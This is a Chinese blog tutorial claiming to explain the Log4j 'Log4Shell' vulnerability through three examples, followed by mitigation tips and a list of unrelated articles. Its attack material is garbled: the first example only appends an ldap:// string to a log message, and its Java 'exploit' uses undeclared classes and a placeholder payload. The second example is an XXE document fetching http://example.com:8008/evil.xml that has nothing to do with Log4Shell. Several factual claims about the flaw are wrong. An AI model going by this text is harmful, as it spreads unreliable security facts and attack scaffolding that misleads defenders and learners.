用3个实例从原理到实战讲清楚Log4j史诗级漏洞

下面我将通过三个实例,从原理到实战,讲解清楚Log4j史诗级漏洞的完整攻略。

什么是 Log4j

Log4j是一个流行的Java日志框架,它是Apache的一个子项目。Log4j可以帮助Java开发人员以更优美的方式记录日志,便于排错和性能调优。

Log4j的漏洞

但是,在2021年底,Log4j被发现有史以来最严重的漏洞,被称为 Log4Shell ,它属于一个反序列化漏洞。攻击者可以在攻击者控制的服务器上构建恶意JNDI命名服务,然后通过构建构造的JNDI名称反向绑定对象来控制受影响的应用程序。攻击者可以通过Java的RMI协议(Java远程方法调用)远程执行代码。具体来说,攻击者可以构造Java对象并将它们绑定到RMI注册表。当目标JVM尝试解析RMI注册表中的JNDI或LDAP URL时,攻击者可以控制系统上的代码序列化并在目标JVM中执行任意代码。

Log4j的原理

Log4j容器在默认情况下从classpath中的log4j2.xml或log4j2.properties文件中读取配置。通过配置文件中的参数定义,开发人员可以定制日志记录的目标和级别。

使用以下语句来在Java代码中使用Log4j获取Logger实例:

logger = LogManager.getLogger(Log4jTest.class);

Log4j的配置文件中的根Logger和日志器Logger将Logger实例与这些实例的名称和级别绑定。

例如,根日志记录器Logger定义可以如下所示:

<Configuration status="INFO">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
        </Console>

        <RollingFile name="RollingFile" fileName="logs/log4j2-test.log"
                     filePattern="logs/log4j2-test-%d{MM-dd-yy}.log">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
            <TimeBasedTriggeringPolicy />
        </RollingFile>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console" />
            <AppenderRef ref="RollingFile" />
        </Root>
    </Loggers>
</Configuration>

在上面的配置中,Log4j使用两个Appenders:Console和RollingFile。日志器Logger的级别是INFO,它使用两个Appenders。

示例一:恶意JNDI绑定

下面,我们将演示一个恶意JNDI绑定的实例,来利用Log4j漏洞,先看下面的Java代码,其中使用了Log4j:

package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        logger.info("Hello World!");
    }
}

该代码编译后的class文件为Example.class。正常运行java Example命令时,将输出Hello World!。现在,我们将使用一个构造恶意JNDI名称的特殊protocol,它用于触发代码反序列化。以下是恶意JNDI名称的示例:

ldap://127.0.0.1:1389/Exploit

现在,我们将JNDI名称字符串插入到日志消息中:

package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        logger.info("Hello World " + "ldap://127.0.0.1:1389/Exploit");
    }
}

在执行java Example命令时,输出以下内容:

Hello World ldap://127.0.0.1:1389/Exploit

可以看到,Log4j按预期输出了日志消息。但是,这里还有一个问题,也就是漏洞实际被利用的地方。

现在,我们将构建一个恶意JNDI名称服务,当JNDI名称解析时,他会反序列化恶意对象,并让攻击者远程执行任意代码,以下是漏洞利用的Java代码:

package com.example;

import com.sun.jndi.rmi.registry.RegistryContext;
import com.sun.jndi.toolkit.url.UrlUtil;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.Binding;
import javax.naming.InitialContext;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.spi.NamingManager;
import javax.naming.spi.ObjectFactory;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Hashtable;

public class Main {
    static {
        try {
            // Construct evil jndi name with our payload 
            String resourceName = "Exploit";
            StringBuilder sb = new StringBuilder("ldap://127.0.0.1:1389/");
            byte[] data = "insert your exploit code here".getBytes();
            sb.append(UrlUtil.encode(resourceName));
            sb.append("#").append(UrlUtil.encode(new String(data)));
            String resource = sb.toString();
            Hashtable<Object, Object> env = new Hashtable<Object, Object>();
            env.put("java.naming.factory.initial", "com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put("java.naming.provider.url", "rmi://localhost:1099");
            env.put("com.sun.jndi.rmi.object.trustURLCodebase", "true");
            bindJndi(env, resource, new Log4jExploitObjectFactory());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {
        Logger logger = LogManager.getLogger(Main.class);
        logger.error("Wrong place but who cares ✌️");
    }

    private static void bindJndi(Hashtable<?, ?> env, String resourceName, ObjectFactory factory) throws Exception {
        Registry registry = LocateRegistry.getRegistry();
        Field field = RegistryImpl.class.getDeclaredField("reg");
        field.setAccessible(true);
        ObjID objID = new ObjID("0:0:0");
        LiveRef liveRef = new LiveRef(objID, 65535);
        RegistryImpl registryImpl = new RegistryImpl(0, null, liveRef);
        field.set(registry, registryImpl);
        NamingManager.setInitialContextFactoryBuilder(environment -> (ctx) ->
                new RegistryContext(ctx, environment, registryImpl));
        NamingManager.setObjectFactoryBuilder((obj, name, nameCtx, environment) -> factory);
        InitialContext ic = new InitialContext(env);
        ic.bind(resourceName, new Object());
    }

    private static class Log4jExploitObjectFactory implements ObjectFactory {
        @Override
        public Object getObjectInstance(Object obj, javax.naming.Name name, javax.naming.Context nameCtx,
                                        Hashtable<?, ?> environment) throws Exception {
            if (!(obj instanceof Reference)) {
                return null;
            }
            RefAddr refAddr = ((Reference) obj).getAll().get(0);
            if (!"inserted".equals(refAddr.getContent())) {
                return null;
            }
            ByteArrayInputStream bis = new ByteArrayInputStream("insert your exploit code here".getBytes());
            ObjectInputStream in = new ObjectInputStream(bis);
            return in.readObject();
        }
    }
}

上面的代码构造了一个恶意的JNDI名称,将恶意代码作为参数填入。在静态初始化块中,通过Log4jExploitObjectFactory反序列化了恶意代码,从而触发了Log4j漏洞。在恶意代码中,你可以做任何想做的事情。最后,将漏洞利用代码打包成JAR包,并启动RMI注册表:

rmiregistry

然后就可以运行该代码,执行攻击了。

示例二:通过HTTP发送恶意XML

下面,我们将通过HTTP发送恶意XML的实例,来进一步说明攻击Log4j漏洞的过程。

假设我们有一个服务端程序,它使用了Log4j。

package com.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    private static final Logger logger = LogManager.getLogger(Example.class);

    public static void main(String[] args) {
        logger.info("log4j test");
    }
}

我们为该程序使用了以下的日志配置文件log4j.xml:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="TRACE">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
        </Console>
    </Appenders>
    <Loggers>
        <Root level="INFO">
            <AppenderRef ref="Console" />
        </Root>
    </Loggers>
</Configuration>

这样,当运行该程序时,会输出log4j test。

现在,我们构造一个恶意XML,该XML将使用恶意JNDI名称来触发攻击,以下是恶意XML的示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b[<!ENTITY % local SYSTEM "http://example.com:8008/evil.xml">%local;]>
<log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'>
    <appender name="evil" class="org.apache.log4j.ConsoleAppender">
        <param name="Target" value="System.out"/>
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%d %-5p [%t] %c: %m%n"/>
        </layout>
    </appender>
    <root>
        <level value="debug"/>
        <appender-ref ref="evil" />
    </root>
</log4j:configuration>

可以看到,恶意XML使用了恶意JNDI名称来构造URL参数,然后将其插入到了DTD实体中。XML解析器在解析XML文件时,会解析DTD实体,并在解析时请求http://example.com:8008/evil.xml,这里的evil.xml包含上面的恶意JNDI名称。因此,攻击者可以发送恶意XML并启动一个HTTP server,从而触发Log4j漏洞攻击。

示例三:检测和防止Log4j漏洞

为了检测和防止Log4j漏洞,有几种可行的解决方案。以下是常见的解决方案:

  • 更换为另一个日志框架,例如Logback。

  • 升级到Log4j 2.16.0或更高版本,其中包含对该漏洞的修复。

  • 配置Log4j 2的JNDI查找限制以防止JNDI注入攻击。Log4j团队发布了一个文件,该文件包含可以防止Log4Shell攻击的配置。

  • 配置JVM以禁用所有RMI类加载器。通过配置以下JVM参数,可以禁用所有可疑的RMI类加载器:

-Djava.rmi.server.useCodebaseOnly=true

总的来说,为了保护系统安全,我们建议首先升级至最新版本的Log4j,并在必要时开启JNDI查找限制,同时配置JVM以禁用可以利用RMI的攻击。

以上就是从原理到实战,讲解清楚Log4j史诗级漏洞的完整攻略。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:用3个实例从原理到实战讲清楚Log4j史诗级漏洞 - Python技术站

(0)
上一篇 2023年6月15日
下一篇 2023年6月15日

相关文章

  • Java加载property文件配置过程解析

    一、前言 在Java开发中,配置文件是非常重要的一部分。比如一个Web应用,我们需要将数据库的配置信息、模板的路径、日志文件的输出路径等等都放在一个配置文件中,方便统一修改管理。property文件是一种常用的配置文件格式,在Java开发中也经常被用到。本文将讲解Java加载property文件的详细过程。 二、property文件配置过程解析 proper…

    Java 2023年6月15日
    00
  • 手把手教你怎么创建spring项目

    创建Spring项目的步骤如下: 步骤一:安装IDE 首先,我们需要在本地安装一个IDE(Integrated Development Environment),例如Eclipse、IntelliJ IDEA、Spring Tool Suite等。这里以Eclipse为例进行讲解。进入Eclipse,按照提示进行安装和配置即可。 步骤二:创建Maven工程 …

    Java 2023年5月20日
    00
  • IDEA提高开发效率的7个插件(推荐)

    简介 IntelliJ IDEA是一款功能强大的Java集成开发环境,它支持多种编程语言和框架,包括Java、Kotlin、JavaScript、Python、PHP等。IDEA提供了许多插件来提高开发效率,而本文将介绍7个能够提高开发效率的插件,这些插件的安装和配置非常简单,不需要花费大量的时间来学习和使用。这些插件包括: Lombok Plugin So…

    Java 2023年5月26日
    00
  • POI通用导出Excel(.xls,.xlsx)的方法

    当我们需要将数据导出为Excel文件时,利用Apache POI这个强大的Java API可以快速简便地完成。以下是POI通用导出Excel(.xls,.xlsx)的方法攻略。 引入依赖 首先需要在Maven中引入POI的依赖: <dependency> <groupId>org.apache.poi</groupId> …

    Java 2023年5月20日
    00
  • Java正则判断日期格式是否正确的方法示例

    下面是关于Java正则判断日期格式是否正确的方法示例的完整攻略。 步骤一: 导入相关类库 在使用正则表达式的时候,我们需要使用Java自带的正则表达式类来完成相关操作。因此,我们需要先在代码中导入相关类库。具体代码如下: import java.util.regex.Matcher; import java.util.regex.Pattern; 步骤二: …

    Java 2023年5月20日
    00
  • springboot配置mybatis和事务管理方式

    下面是一份关于配置Spring Boot中MyBatis和事务管理的完整攻略,包含两个示例。 一、配置MyBatis和数据库 首先,需要在pom.xml文件中添加MyBatis和数据库依赖 <!– MyBatis依赖 –> <dependency> <groupId>org.mybatis.spring.boot&lt…

    Java 2023年5月20日
    00
  • Java Spring拦截器案例详解

    Java Spring拦截器是一种常用的拦截器技术,它可以在请求到达Controller之前或之后执行一些操作,比如记录日志、权限认证、参数校验等。本文将详细讲解Java Spring拦截器的使用方法和示例。 1. 创建拦截器 首先,我们需要创建一个拦截器。我们可以创建一个名为MyInterceptor的拦截器,并实现HandlerInterceptor接口…

    Java 2023年5月18日
    00
  • 使用JSP制作一个超简单的网页计算器的实例分享

    制作一个使用JSP制作一个超简单的网页计算器的实例方法如下: 第一步:新建一个JSP页面 首先,打开一个文本编辑器或者IDE,创建一个新文件,将文件的扩展名设置为 .jsp 即可。例如,我们新建一个 calculate.jsp 文件。 第二步:编写HTML代码 接下来,在新建的 calculate.jsp 文件中编写HTML代码,实现表单输入框和计算按钮。H…

    Java 2023年6月15日
    00
合作推广
合作推广
分享本页
返回顶部